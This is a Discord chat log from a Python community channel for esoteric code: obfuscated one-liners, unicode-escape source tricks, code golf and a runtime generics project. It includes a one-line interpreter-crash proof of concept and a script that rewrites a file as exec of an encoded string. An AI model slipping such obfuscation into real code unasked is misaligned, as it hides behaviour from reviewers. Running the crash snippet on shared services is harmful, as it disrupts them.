Did you just make this on the spot

#

wtf

floral meteor
#

....eq(...) came from here, the rest, yes

sick hound
#

Damn, I'd get lost after writing half of that

floral meteor
#

now I'm gonna write a discord bot in that

sick hound
#

LOL

#

No way

#

Jesus christ

floral meteor
#

here's one-line version:

___=eval(....__ge__(...).__str__()[:(....__eq__(...)).__add__(....__eq__(...))]+....__ge__(...).__str__()[((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()-(....__eq__(...)):((....__eq__(...)<<....__eq__(...))<<....__eq__(...)).__neg__()+(....__eq__(...))][....__eq__(...)]+....__ge__(...).__str__()[....__ne__(...)-(((....__eq__(...)<<....__eq__(...))<<....__eq__(...))>>....__eq__(...))])
#

!e ```py
=eval(....ge(...).str()[:(....eq(...)).add(....eq(...))]+....ge(...).str()[((....eq(...)<<....eq(...))<<....eq(...)).neg()-(....eq(...)):((....eq(...)<<....eq(...))<<....eq(...)).neg()+(....eq(...))][....eq(...)]+....ge(...).str()[....ne(...)-(((....eq(...)<<....eq(...))<<....eq(...))>>....eq(...))])
print(
)

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

None
wind token
#

!e

night quarryBOT
#
Command Help

!eval [code]
Can also use: e

*Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.

We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*

wind token
#

how to run

#

!e

night quarryBOT
#
Command Help

!eval [code]
Can also use: e

*Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.

We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*

wind token
#

it says it is over 2000 words 😦

floral meteor
#

nice

#

screenshot

#

i'll eval manually

wind token
floral meteor
#

not that, the content

wind token
night quarryBOT
#

Hey @wind token!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

wind token
#

😦

floral meteor
#

paste it into notepad and screenshot it

wind token
#

it is too long in length so i cannot do it

floral meteor
#

one-liner?

#

noice

#

dm me

wind token
floral meteor
#

alright, I'm going to convert this:

#

!e ```py
from urllib.request import urlopen; from bs4 import BeautifulSoup; valid_starts = ["https://aawl.org/pet/", "/pet/"]
def get_text(url):
html = urlopen(url).read();soup = BeautifulSoup(html, features="html.parser"); links={}
for link in soup.findAll('a'):
try: j = link.get('href'); assert j.startswith(valid_starts[1]); links.update({j: None})
except: pass
for script in soup(["script", "style"]): script.extract()
text = soup.get_text(); lines = (line.strip() for line in text.splitlines()); chunks = (phrase.strip() for line in lines for phrase in line.split(" ")); text = '\n'.join(chunk for chunk in chunks if chunk); return text, links
def main(url):
global valid_starts; valid_starts[0] = url.rstrip(url.split('/')[-1]).rstrip('/') + valid_starts[1]; _, links = get_text(url); cats = {}; fattest_size = 0; target = ""; target_name = ""
for link in links:
try:
text, _ = get_text(link if link.startswith(valid_starts[0]) else valid_starts[0]+link.lstrip(valid_starts[1])); there = text.find("pounds")-2; links[link] = text[:text.find('|') - 1].strip()
while text[there].isdigit(): there -= 1
there += 1; d = ""
while text[there].isdigit(): d += text[there]; there+=1
w = int(d); cats.update({link: w})
if w >= fattest_size: fattest_size = w; target = link; target_name = links[link]
print(links[link], end=', ')
except Exception as err: print('['+str(err),link+']', end=', ')
print('\b\b\nFattest cat detected [link, weight, name]:')
if target.startswith(valid_starts[1]): target = valid_starts[0]+target.lstrip(valid_starts[1])
if target: return [target, fattest_size, target_name]
else: return "None"
print(main("https://aawl.org/adoptable-cats"))

night quarryBOT
#

@floral meteor :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/usr/local/lib/python3.9/urllib/request.py", line 1342, in do_open
003 |     h.request(req.get_method(), req.selector, req.data, headers,
004 |   File "/usr/local/lib/python3.9/http/client.py", line 1255, in request
005 |     self._send_request(method, url, body, headers, encode_chunked)
006 |   File "/usr/local/lib/python3.9/http/client.py", line 1301, in _send_request
007 |     self.endheaders(body, encode_chunked=encode_chunked)
008 |   File "/usr/local/lib/python3.9/http/client.py", line 1250, in endheaders
009 |     self._send_output(message_body, encode_chunked=encode_chunked)
010 |   File "/usr/local/lib/python3.9/http/client.py", line 1010, in _send_output
011 |     self.send(msg)
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/qadetesoco.txt

floral meteor
#

rood

keen plank
#

obuscation that cannot be unobuscated?

stark fable
#

tbh i'm not entirely convinced that that exists in any useful form

#

you can obfuscate a program such that it's impossible to recover the original program by just replacing it with an empty string, you can't run the obfuscated program but you can also deduce nothing about the original program beecloseloaf

#

but if you can run the obfuscated program, someone dedicated enough can reverse-engineer it and no technical limitation can stop them, it can just significantly hinder them

#

some things can be deleted with no hope of recovering them exactly like the variable names in the original program, but anything about the behaviour of the program can at best be extremely extremely hidden

#

this is the kind of thing where there's no "impossible", the best you can ever do is "well it's possible but in practice it takes longer than the age of the universe" if you can manage to shove a huge NP problem into it beeloaf

snow beacon
#

I seem to remember there's some mathematical proof that no method of obfuscation is foolproof, but that no method of deobfuscation is either.

keen plank
#

nerds

formal sandal
sick hound
#

!e

(lambda: 'esoteric python')()
night quarryBOT
#

@sick hound :warning: Your eval job has completed with return code 0.

[No output]
ashen bolt
#

hello

grave rover
#

@ashen bolt wrong channel, we've told you this before

sick hound
#

something wrong with the loop but im not sure what

#

dont think you ended it unless you didnt intend to

grave rover
#

Also, I figured out what the issue was with my generics; all changes were in-place, so Pair[X, Y] was the same object as Pair[Y, X] causing issues

verbal vapor
#

And why do people make it while it returns None

fossil estuary
verbal vapor
#

Yes please!

#

DMS?

fossil estuary
#

here

#

it's the correct channel

#

!e

_=()==()
__=(_+_)+(_+_)
___=((_+_)+(_+_)+(_+_)+(_+_)*(_+_)+(_+_)+(_+_)+(_+_))
____="%c"*(_+_+_+_+_)%(((_+_)*((___*__+(__+__))//(_+_))),((_)*((___*__+(__+__)-(_+_+_)))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_)*((___*__+(__+__)+(__+_+_+_)))))+" "+"%c"*(_+_+_+_+_)%(((_)*((___*__+(__+__)+(__+__+__+_+_+_)))),((_)*((___*__+(__+__)+(__)+(_+_+_)))),((_+_)*((___*__+(__+__)+(__)+(_+_+_)+(_+_+_))//(_+_))),((_+_)*((___*__+(__+__)+(__))//(_+_))),((_+_)*((___*__+(__+__)-(__))//(_+_))))
print(____)
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

HELLO WORLD
verbal vapor
#

What the frick

#

How does that work?

#

And how is it called?

fossil estuary
#

()==() is a way of saying 1

#

and

#

"%c"*5%() is character decoding

#

@verbal vapor

verbal vapor
#

But there's a lot more than ()==() and the %c thing

fossil estuary
#

yeah

#

it's just really lengthy math basically

proper vault
#

I mean, there really isn't. its just adding ()==() together and multiplying and dividing to make more numbers

fossil estuary
#

yeah, as I said

#

lengthy math

terse mortar
#

wait but how do you convert ints into strings(letters)?

fervent hull
#

The % formatting

strong berry
#

Hi everyone, I'm trying to upload images from TinyMCE's textarea to Django's server side and call them back as a list. Anyone tried to struggle with it before?

fossil estuary
#

wrong channel

#

@strong berry

strong berry
#

can you point if there is a specific ch about it? @fossil estuary

runic ruin
#

What's the shortest way to write A=''? (A can equal a blank string, None, or anything. As long as it's written shorter than A='')

#

Basically what's the shortest way to create a variable

earnest wing
#

x=0 is as short as you can get. With more variables you can chain x=y=z=0 for optimal golfing, while with lambda you can bind more names with little extra chars lambda x,y,z:

#

at times unpacking iterables is most efficient: x,y,*z=some_iter

runic ruin
#

What if I needed x to be blank?

earnest wing
#

what do you mean by blank? None? Falsey? literally any value?

#

what are you trying to golf?

runic ruin
#

print(x) would print a blank line

#

and no golfing

earnest wing
#

you might not be in the right channel, because #esoteric-python is for making code ugly

runic ruin
#

Ugly but short

earnest wing
#

(that's called golfing) x=''

runic ruin
#

oh mb

#

I assumed golfing was assigning multiple variables in the same line

#

Well, thanks!

floral meteor
#

________.strip()for ___ in ______ for ________ in ___.split(chr((()==())<<5)*2)
Looks like a programming assignment question, "fill in the blanks"

mint holly
floral meteor
#

!e ```py

_ͦ̆̈́҉̛̘͡=4
print(_ͦ̆̈́҉̛̘͡)

night quarryBOT
#

@floral meteor :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     _ͦ̆̈́҉̛̘͡=4
003 |         ^
004 | SyntaxError: invalid character '҉' (U+0489)
floral meteor
radiant anchor
#

A much shorter version of my minimal LOAD_CONST crash PoC

eval((lambda:0).__code__.replace(co_consts=()))
grave rover
grave rover
#
from generic_types import List, Pair


def main():
    x = List[Pair[int, str]]()
    x.append(Pair[int, str](1, "2"))
    x.append(Pair[int, str](3, "4"))
    print(x)
    x.append(Pair[int, int](5, 2))


if __name__ == "__main__":
    main()
``` ```py
/home/mart/.pyenv/versions/3.9.0rc2/bin/python /home/mart/git/snippets/generics/test.py
[Pair(1, '2'), Pair(3, '4')]
Traceback (most recent call last):
  File "/home/mart/git/snippets/generics/test.py", line 13, in <module>
    main()
  File "/home/mart/git/snippets/generics/test.py", line 9, in main
    x.append(Pair[int, int](5, 2))
  File "/home/mart/git/snippets/generics/generics.py", line 76, in wrapper
    assert isinstance(bound.arguments[k], na.get(k, v.annotation)), \
AssertionError: Parameter 'obj' was of type 'Pair[int, int]', expected 'Pair[int, str]'

Process finished with exit code 1
``` IT WORKS
grave rover
#

now to support variadic generics

#

end me

grave rover
#

oh no

#

this will break

#

on py4 and code that uses from __future__ import annotations

#

because List["T"] will be evaluated as List[T]

#

and T doesn't exist :(

edgy kelp
#

Postponed annotations are 3.10

grave rover
#

oh shit right

#

well uh

#

dang

#

how should I deal with this

#

I could make a letter for each and inject it into globals but eh

#

nope, that doesn't fool get type hints it seems

#

dang

formal sandal
#

postponed evaluation of annotations really is quite tricky

#

for type hints in a dynamic language to be both available at runtime and forward-referencing, some hacks are inevitable

grave rover
#

ugh I hate everything about this

formal sandal
#

For example, to make forward-referencing typehints work when translating native dataclasses to Pydantic models, I have to do this horrible dance:

from dataclasses import asdict
from pydantic.dataclasses import dataclass as pydantic_dataclass
import lib.problem
from fastapi import FastAPI

app = FastAPI()

Problem = pydantic_dataclass(lib.problem.Problem)
Problem.__pydantic_model__.update_forward_refs(**lib.problem.__dict__)

@app.get("/problems/{id}", response_model=Problem.__pydantic_model__)
async def foo(id: int):
    return asdict(lib.problem.Problem(
        name=f"Problem #{id}",
        long_description="some_description",
        tests=[],
    ))
#

And this is why postponed evaluation being the default might break some things

grave rover
#

yikes

#

for me the problem is that I use strings for generics in type hints, but get_type_hints likes to try and evaluate those, causing an infinite loop

sick hound
#

!e

_=()==()
print("%c" % _)```
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.


sick hound
#

!e

_=(()==())
print("%c" % _)```
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.


sick hound
#

alright

#

!e

_=()==()
__=(_+_)
___=(_+_+_)
____=((__+___)*(__+___)-(___))
print("%c" % ____)
night quarryBOT
#

@sick hound :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 4, in <module>
003 | TypeError: unsupported operand type(s) for -: 'str' and 'int'
sick hound
#

!e

_=()==()
__=(_+_)
___=(_+_+_)
____=((__+___)*(__+___)-(___))
print("%c" %____)
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.


grave rover
#

@formal sandal got any tips on how to trick the annotation parser into thinking something is a type when it isn't?

formal sandal
#

Well, you could make a "container type" that is a dummy type holding a value

#

like Literal, but for any types

#

!e

class Dummy(type):
    def __init__(self, name, bases, dict_):
        self.value = dict_["_"]

def dummy_type(x):
    return Dummy(f"dummy_type({x!r})", (), {"_": x})

Two = dummy_type(2)
print(Two)
print(Two.value)
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

001 | <class '__main__.dummy_type(2)'>
002 | 2
formal sandal
#

@grave rover ^^^

grave rover
#

no I mean like ```py
@generic("T")
class List:
def getitem(self, index) -> "T":
...

#

there's also -> List["T"] for recursive forward references, but idk how to deal with those either

formal sandal
#

are you making a runtime validation engine for type hints?

#

hm, you could create type variables on the fly, I suppose

#

implementing a type checker isn't easy, haha 🙂

#

Because you'll have to figure out covariance, contravariance, invariance...

#

and then there might be recursive types, like R : int -> (int, R) -- that's a perfectly valid type, right? would be nice to support

#

I don't think Python does 🤔

grave rover
#

I mean

#

Have you seen what I've been doing lol

#

the problem right now is the from __future__ import annotations part aka py3.10

runic ruin
#

I need someone who REALLY knows how to push compacting to it's limits

#

the absolute bare minimum code possibly needed to run

proper vault
#

@runic ruin just state what you actually, people won't just volunteer

runic ruin
#
while True:
    B,D,E,G,C,M,A,H='','Input: ',input,range,print,['0','7','8','9'],'','Invalid number\n';import random as I
    for J in G(4):B+=str(I.randint(1,6))
    def F():
        global A
        if A==B:C(f"Correct! The code was {B}\n\n")
        elif len(A)!=4 or A.isalpha():C(H);A=E(D);F()
        else:
            for O in A:
                if O in M:C(H);A=E(D);F();return
            I,J,K,G=0,0,0,list(B)
            for L in A:
                if L in G:K+=1;G.pop(G.index(L))
            for P in A:
                if P==B[I]:J+=1
                I+=1
            C(f"Hint {N+1}:  {A}  |  {K} in the code  |  {J} in the right place\n")
    for N in G(10):
        if A==B:break
        else:A=E(D);F()
    if A!=B:C(f"Incorrect. The code was {B}\n")
```I need this to be as compact as it possibly can
calm moat
#

If you want to execute both if and else....

if <condition>
  pass
else:
  pass
if print("hello") == -1:
        print("hello")
else:
        print("world")
runic ruin
#

I don't

#

although that is useful

calm moat
runic ruin
#

Ah, I thought you were talking to me

#

My bad

#

@calm moat out of curiosity, what instance would you need to run both an if and an else?

#

why not just remove the if else if it isn't doing its job?

proper vault
#
def F():
    global A
    if A==B:C(f"Correct! The code was {B}\n\n")
    elif len(A)!=4or A.isalpha():C(H);A=E(D);F()
    else:
        for O in A:
            if O in M:C(H);A=E(D);F();return
        I=J=K=0;G=[*B]
        for L in A:
            if L in G:K+=1;G.pop(G.index(L))
        for P in A:
            if P==B[I]:J+=1
            I+=1
        C(f"Hint {N + 1}:  {A}  |  {K} in the code  |  {J} in the right place\n")
while True:
    D,E,G,C,A,H='Input: ',input,range,print,[*'0789'],'Invalid number\n';from random import*;B=M=''
    for()in[()]*4:B+=choice('123456')
    for N in G(10):
        if A==B:break
        else:A=E(D);F()
    if A!=B:C(f"Incorrect. The code was {B}\n")
```@runic ruin got it a bit shorter, there is still more room for improvement though
#

you could knock off a lot with one space indents

runic ruin
proper vault
#
def F():
    global A
    if A==B:C(f"Correct! The code was {B}\n\n")
    elif len(A)!=4or A.isalpha():C(H);A=E(D);F()
    else:
        for O in A:
            if O in M:C(H);A=E(D);F();return
        I=J=K=0;G=[*B]
        for L in A:
            if L in G:K+=1;G.pop(G.index(L))
        for P in A:
            if P==B[I]:J+=1
            I+=1
        C(f"Hint {N + 1}:  {A}  |  {K} in the code  |  {J} in the right place\n")
D,E,G,C,M,H='Input: ',input,range,print,[*'0789'],'Invalid number\n';from random import *
while True:
    B=A=''
    for()in[()]*4:B+=choice('123456')
    for N in G(10):
        if A==B:break
        else:A=E(D);F()
    if A!=B:C(f"Incorrect. The code was {B}\n")
```mistook 2 variables, mb
runic ruin
#

@proper vault Got another bug ```
Input: 6532
Correct! The code was 6532

Input: 6532
Hint 1: 6532 | 4 in the code | 4 in the right place

grave rover
#

okay I can re-implement the entire get_type_hints function if I want to go through hell

proper vault
#

fixed I think

onyx violet
#

probably a simple one for you guys but i have 4 variables, "age" , "sex" , "year" and "expected" & am trying to plot a graph using only the data from "male" which is in the "sex" column in my .csv file .. I have tried lifedf.plot.bar('year','expected') , but this is just plotting it all

#

using jupyter notebook btw

proper vault
onyx violet
#

thank you

runic ruin
#

I really appreciate it

proper vault
#

np

runic ruin
#

Is there any way I can repay you?

proper vault
#

don't worry about it

#

I enjoy this kinda stuff

runic ruin
#

Oh and- the game is based off of Mastermind in case you wanted to find it online

proper vault
#

I am familiar, thanks

grave rover
#

lak, got any ideas on how to deal with this typing issue?

proper vault
#

no, I never did deal with type systems

grave rover
#

dang

#

oh I might just know a workaround

grave rover
#

damnit, it still tries to resolve "'a'" to a

terse mortar
#

maybe make it a raw string?

#

like r"'a'"

#

@grave rover

grave rover
#

that won't change anything

#

raw strings only affect backslashes

calm moat
#

You experiment shit for the sake of it

fossil estuary
#

This is simple but, just a test.

#

!e

# coding=unicode_escape
\x70\x72\x69\x6e\x74\x28\x22\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x22\x29
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

Hello World
fossil estuary
#

Ah, Okay. I could use that

#

!e

# coding=unicode_escape
\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u0049\u0020\u0077\u006f\u006e\u0064\u0065\u0072\u002e\u002e\u002e\u0022\u0029
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

I wonder...
fossil estuary
#

It's unicode_escapes.

#

@verbal vapor Look.

verbal vapor
#

I c

fossil estuary
#

!e

# coding=unicode_escape
\u0065\u0076\u0061\u006c\u0028\u0027\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u004e\u0065\u0073\u0074\u0065\u0064\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0073\u002e\u0022\u0029\u0027\u0029
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

Nested functions.
rugged sparrow
#

!e print('\u0065\u0076\u0061\u006c\u0028\u0027\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u004e\u0065\u0073\u0074\u0065\u0064\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0073\u002e\u0022\u0029\u0027\u0029')

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

eval('print("Nested functions.")')
sick hound
#

How does Python parse this

fossil estuary
#

:)

sick hound
#

Are there some rules for this in CPython that let this happen, need to see the source code that allows this

fossil estuary
#

hint

#

# coding=unicode_escape

#

Hint 2: its a PEP 263 header

sick hound
#

Is that mandatory? Man I’m on phone and don’t even have access to my laptop right now

#

Ah

#

Thanks

#

!pep 263

night quarryBOT
#
**PEP 263 - Defining Python Source Code Encodings**
Status

Final

Python-Version

2.3

Created

06-Jun-2001

Type

Standards Track

fossil estuary
#

Had them for a while.

sick hound
#

Ah, never knew about this

fossil estuary
#

Yeah, It's quite interesting.

verbal vapor
#

Lol I don't get it at all

fossil estuary
sick hound
#

I’ll look more into its implementation in source code

#

Thanks

fossil estuary
#

Np.

rugged sparrow
fossil estuary
#

Interesting.

grave rover
#

wait I just realized why this shit is happening, I'm trying to resolve a type within the class creation

fossil estuary
#

lol

grave rover
#

so I need to use a forwardref that resolves at runtime I think?

verbal vapor
floral meteor
#

what's the shortest way of getting the number: 774122746363641877 using only punctuation? (with the exception of print to show results)

twilit grotto
#

is that prime lol

floral meteor
#

probably

#

also, no spaces

verbal vapor
#

Yup

fallow schooner
#

would it be a esoteric python thing to find the large prime numbers?

floral meteor
#

the large prime numbers?

#

I'd say it's more a practical python thing

fallow schooner
#

ah too bad

twilit grotto
floral meteor
#

lol

#

did it round up?

#

877 -> 900

fossil estuary
#

lets see

#

!e

# coding=unicode_escape
\u0065\u0076\u0061\u006c\u0028\u0022\u0070\u0072\u0069\u006e\u0074\u0028\u0031\u0037\u0036\u002a\u002a\u0028\u0036\u0038\u002f\u002f\u0034\u0029\u0029\u0022\u0029
night quarryBOT
#

@fossil estuary :white_check_mark: Your eval job has completed with return code 0.

149181631640695203372066259729148542976
floral meteor
#

my graphics calculator can do better but it's in a terrible state of disrepair

fossil estuary
#

:o

#

it worked nice

#

adding eval for no reason

#

;)

floral meteor
next flame
#

also whats the context for this number

floral meteor
#

!e ```py
print(107 * 4989949 * 1449872939)

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

774122746363641877
twilit grotto
#

discord user id?

floral meteor
#

yes

earnest wing
#

created: 2020-11-06 04:07:25.238000

floral meteor
#

wAIT no

#

i think it's a channel id

#

ok I got the 107

#

!e ```py
=[...]
=(...==...)-(...!=...)
__=
<<
;
=<<<<<<<<
[-]=
-
//(++++++)-(++)
#____=
>>(+++++)
print(*
__)

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

107
next flame
#

line 2 can be just _=(...==...)

#

_<<_ == _+_

digital tiger
#

._.
What is this channel for?
Why there are so much "__" and "-" and "..."
Can someone explain?

next flame
#

its for weird python stuff

lethal quiver
#

A lot of bitwise stuff, pretty sure

digital tiger
#

Its look like brainfuck, but inverted and modifed 🤔

floral meteor
#

!e ```py
=(...==...)
=[...]*(++)
__=
+;=<<<<<<<<_
[-]=-//(++++++)-(++)
=>>(+++++)
____=
<<(++++)
[]=
*___*
*_
=*-(____<<<<<<<<);+=____**+____--_
[]-=___
[+]=#$%^&
print(
,sep='*',end='=')
print(
[-]__[]_[+])

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

107*3398659*True=363656513
floral meteor
#

aww

digital tiger
#

🤯 🤕

floral meteor
#

!e

_=(...==...)
___=[...]*(_+_+_)
__=_+_;__=__<<__<<__<<_<<_
___[_-_]=__-__//(_+_+_+_+_+_+_)-(_+_+_)
__=__>>(_+_+_+_+_+_)
____=__<<(__+__+__+__+_)
___[_]=____*____*__*__
_____=____*____-(____<<__<<__<<__<<__);_____+=____*__*__*__+____-__-_
___[_]+=_____
___[_+_]=_#$%^&
print(*___,sep='*',end='=')
print(___[_-_]*___[_]*___[_+_])
night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

107*4989949*True=533924543
floral meteor
#

noice

#

now for 1449872939

grave rover
#
from generic_types import List, Pair


def main():
    x = List[Pair[int, str]]()
    x.append(Pair[int, str](1, "2"))
    x.append(Pair[int, str](3, "4"))
    x[1:] = List[Pair[int, str]]([
        Pair[int, str](5, "6"),
        Pair[int, str](7, "8")
    ])
    print(x)
    x.append(6)  # <= error

# === 

[Pair(1, '2'), Pair(5, '6'), Pair(7, '8')]
Traceback (most recent call last):
  File "/home/mart/git/PythonSnippets/generics/test.py", line 20, in <module>
    main()
  File "/home/mart/git/PythonSnippets/generics/test.py", line 16, in main
    x.append(6)  # <= error
  File "/home/mart/git/PythonSnippets/generics/generics.py", line 135, in wrapper
    assert is_of_type(bound.arguments[k], v.annotation), \
AssertionError: Parameter 'obj' was of type 'int', expected 'Pair[int, str]'


#

I have done it

#

even supporting typing

floral meteor
#

!e ```py
=(...==...)
=[...]*(++)
__=
+;=<<<<<<<<_
[-]=-//(++++++)-(++)
=>>(+++++)
____=
<<(++++)
[]=
*___*
*_
=*-(____<<<<<<<<);+=____**+____--_
[]+=___
=(
*-(//(++))**(__)-(+(<<++)+(<<__))(<<____+))-(__+)-(<<(____+))+(*(<<*+__+)+*__+(+)**(__+))
[+]=____
print(___,sep='',end='=')
print([-]*[]*[+])

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

107*4989949*1449872939=774122746363641877
floral meteor
#

gottim

rugged sparrow
#

@grave rover impressive

#

does it handle stuff like def f(*args: List[int]):

floral meteor
#

!e ```bf
+++++++++[>+++++++++<-]>++.

night quarryBOT
#

@floral meteor :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     +++++++++[>+++++++++<-]>++.
003 |               ^
004 | SyntaxError: invalid syntax
floral meteor
#

aw

#

no bf eval

rugged sparrow
#

you need to write a bf interpreter for that

floral meteor
#

I have

rugged sparrow
#

then add that to your eval

grave rover
#

@rugged sparrow it should, though that one would require f([list_int_1, list_int_2])

#

and now I have to make generic-typed versions for everything

#

weee

rugged sparrow
#

or write an introspection function that can generate them for you

grave rover
#

that honestly sounds like more effort tbh

rugged sparrow
#

but its more extendable isnt it?

grave rover
#

here's my half-baked version of List ```py

@generic("T")
class List(Iterable["T"]):
def init(self, state=()):
self._lst = list(state)

def __iter__(self) -> Iterator["T"]:
    return ListIterator[self._("T")](self._lst)

# TODO: Union support
def __setitem__(self, key: Union[int, slice], value: Union["T", List["T"]]):
    self._lst.__setitem__(key, value)

def __getitem__(self, key: Union[int, slice]) -> Union["T", List["T"]]:
    res = self._lst.__getitem__(key)
    if isinstance(key, int):
        return res
    return List[self._("T")](res)

def append(self, obj: "T"):
    self._lst.append(obj)

def clear(self):
    self._lst.clear()

def copy(self) -> List["T"]:
    return List[self._("T")](self._lst.copy())

def count(self, value: "T") -> int:
    return self._lst.count(value)

def extend(self, iterable: Iterable["T"]):
    self._lst.extend(iterable)

def index(self, val: "T", start: int = 0, stop: int = 9223372036854775807) -> int:
    return self._lst.index(val, start, stop)

def insert(self, index: int, value: "T"):
    self._lst.insert(index, value)

def pop(self, index=-1) -> "T":
    return self._lst.pop(index)

def remove(self, value: "T"):
    self._lst.remove(value)

def __repr__(self):
    return repr(self._lst)

def __add__(self, other: List["T"]) -> List["T"]:
    return List[self._("T")](self._lst + other._lst)
rugged sparrow
#

for the methods that you dont modify you could use a loop in the class body right?

grave rover
#

wdym?

#

let's say you want to autogenerate List from list

rugged sparrow
#

acc that would require a metaclass to do properly

#

if you dont want to do eval

grave rover
#

I'm trying to avoid metaclasses so people can use custom metaclasses combined with this system

rugged sparrow
#

you could look for a __generic_inherit__ dunder in the generic decorator that would just be a list of string names of methods to inherit from a specified class

#

and @generic would auto wrap them somehow

floral meteor
earnest wing
#

hold up, let me:

#
_,__,___ = BFInterpreter[3]
    # Prints "Hello, world!"
    _.interpret(
        +_[+__[___<<___<+___>>___>>___]+__<-__<-__<<__<+__<++__]<<_._<++_._<++_._._+++_._<<++_._<---_._>>_._>_._+++_._------_._>-_._>>--_._
    )
formal sandal
#

someone managed to use <, but I couldn't figure it out

#

oh wait, you did

#

<< means two <s?

earnest wing
#

yes

formal sandal
#

cool 👍

earnest wing
#

I had to use multiple sentinel objects because the order of evaluation with chained comparisons & slice access is ambiguous

#

idr exactly how

formal sandal
#

a < b < c < d means exactly a < b and b < c and c < d, yes, that's... a bit crazy

#

Also

#

!e

print([] in [[]] in [False, True])
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

False
earnest wing
#

the bigger issue is that a < b < c is equivalent to bool(a < b) and b < c, and __bool__ isn't allowed to return non-bools

formal sandal
#

no, it's not calling bool

#

!e

print(1 or 5)
night quarryBOT
#

@formal sandal :white_check_mark: Your eval job has completed with return code 0.

1
floral meteor
#
from brainfuck import brainfuck as __
_=()==();___=(_<<(_+_+_))+_+_
___=___*"+"+'['+___*'+'+'>'+(___-_)*'+'+'>'+(___-_-_)*'+'+'>'+((___//(_+_))+_)*'+'+'>'+(_+_+_)*'+'+'<'*(_<<(_+_))+'-]'
___+=">>>++++++++++++.<<+.>--..+++.>>++.<<++++++++.--------.+++.<.--------.>>>+."
print(__(___,_<<_<<_<<_)[_-_])
earnest wing
#

i don't remember exactly why chained comps caused me trouble, but they did

floral meteor
#

!e ```py
print(3 < 5 < 7 > 4 > 2 > (()==()))

earnest wing
#

might have been something like _ < _ < _[_ < _]

night quarryBOT
#

@floral meteor :white_check_mark: Your eval job has completed with return code 0.

True
floral meteor
terse mortar
#

Don't use esoteric code in things that are meant to be used practically.

#

Like a discord bot made of only esoteric code would be a bad bad idea

formal sandal
#

unless it's made with that intention in mind, of course 🙂

floral meteor
#

it's kinda semi-esoteric there

rugged sparrow
#

i remember a while back someone was trying to write a oneline discord bot

formal sandal
#

I really hate to destroy the fun, but this uses ytdl 👀

earnest wing
#

it uses a few other external deps

#

and is old

#

I recall asyncio.coroutine is deprecated

verbal vapor
#

How do I make this code more compact?

with open(Path(input()), "r+") as f:
    content = f.read()
    f.seek(0)
    f.truncate()
    f.write(f"_=()==()\nexec('%c'*{len(content)}%(")
    sum = ""
    for char in range(0, len(content)):
        sum = sum + str(str("_+" * ord(content[char])).strip(str("_+" * ord(content[char]))[-1])) + ","
    f.write(sum.strip(sum[-1]) + "))")```
#

I can do
for char in len(content):
instead right

last locust
#

No

#

Just for char in content

#

@verbal vapor

verbal vapor
#

Ah okay

#

Thanks!

night quarryBOT
grave rover
#

anger

verbal vapor
#

What is
for char in range(0, len(content)):
different from
for char in content

fossil estuary
#

for chat in len(content)

#

or

#

for char in content:
content=len(content)

last locust
#

for char in content will give you the actual characters

verbal vapor
#

Oo but that's actually better

last locust
#

!e ```py
string = "hello"
for i in range(len(string)):
print(string[i])

or

for char in string:
print(char)```

night quarryBOT
#

@last locust :white_check_mark: Your eval job has completed with return code 0.

001 | h
002 | e
003 | l
004 | l
005 | o
006 | h
007 | e
008 | l
009 | l
010 | o
last locust
#

Both give the same output just one is neater code (the bottom)

verbal vapor
#

Thanks Tizzy!

#

I was using slices as well

grave rover
shy remnant
#

!e

print(1 or 5)
night quarryBOT
#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

1
shy remnant
#

!e

print(1 or 5)
night quarryBOT
#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

1
shy remnant
#

!e

print(1 or 5)
night quarryBOT
#

@shy remnant :white_check_mark: Your eval job has completed with return code 0.

1
twilit grotto
#

?

shy remnant
#

1 everytime?

twilit grotto
#

why would it change

shy remnant
#

idk i guess i had an idea that it was random since or

#

!e

if(1):
    print("ok")
night quarryBOT
